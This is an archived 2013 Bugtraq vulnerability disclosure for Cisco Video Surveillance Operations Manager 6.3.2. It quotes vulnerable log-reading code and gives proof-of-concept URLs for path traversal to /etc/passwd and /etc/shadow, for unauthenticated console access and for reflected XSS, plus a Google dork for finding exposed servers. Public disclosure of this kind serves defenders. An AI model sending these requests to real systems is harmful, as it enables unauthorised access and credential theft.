bugtraq - Cisco Video Surveillance Operations Manager Multiple vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <8CFEE10EBC10A73-12F4-10C8D@webmail-m209.sysops.aol.com>
Date: Wed, 13 Mar 2013 10:48:13 -0400 (EDT)
From: b.saleh@....com
To: bugtraq@...urityfocus.com
Subject: Cisco Video Surveillance Operations Manager Multiple vulnerabilities 

# Exploit Title:Cisco Video Surveillance Operations Manager Multiple 
vulnerabilities
# Google Dork: intitle:"Video Surveillance Operations Manager > Login"
# Date: 22 Feb 2013 reported to the vendor
# Exploit Author: Bassem | bassem.co
# Vendor Homepage: www.cisco.com
# Version: Version 6.3.2
# Tested on: Version 6.3.2


#1- The application is vulnerable to Local file inclusion

read_log.jsp and read_log.dep not validate the name and location of the 
log file , un authenticated remote attacker can perform this

---------------------------------------------
read_log.jsp:
/usr/BWhttpd/root/htdocs/BWT/utils/logs
from /usr/BWhttpd/logs/<%= logName %>
---------------------------------------------
---------------------------------------------
read_log.dep

<%!
         protected LinkedList getBwhttpdLog( String logName, String 
theOrder ) {
                String logPath  = "/usr/BWhttpd/logs/";
                String theLog   = logPath + logName;
                LinkedList resultList = new LinkedList();
                try {
                                 BufferedReader in = new 
BufferedReader(new FileReader(theLog));
                                String theLine = "";
                                         while( (theLine = 
in.readLine()) != null ) {
                                                 if( 
theOrder.indexOf("descending") > -1 ) {
                                                         
resultList.addFirst(theLine);
                                                } else {
                                                         
resultList.addLast(theLine);
                                                }
                                        }
-----------------------------------------------
POC:

http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd
http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/shadow

#####################################################################

#2- The application is vulnerable to local file inclusion

select and display log not validate the log file names , If attacker 
pass /etc/passwd through the http post request system will display it 
as log file

POC:

http://serverip/monitor/logselect.php


#####################################################################


#3  Cisco Video Surveillance Operations Manager Version 6.3.2 doesn't 
perform the proper authentication for the management and view console, 
Remote attacker can gain access to the system and view the attached 
cameras without authentication

POC:

http://serverip/broadware.jsp


#####################################################################


#4 Application is vulnerable to XSS

The web application doesn't perform validation for the inputs/outputs 
for many of its pages so its vulnerable to XSS attacks

POC: 
http://serverip/vsom/index.php/"/title><script>alert("ciscoxss");</script>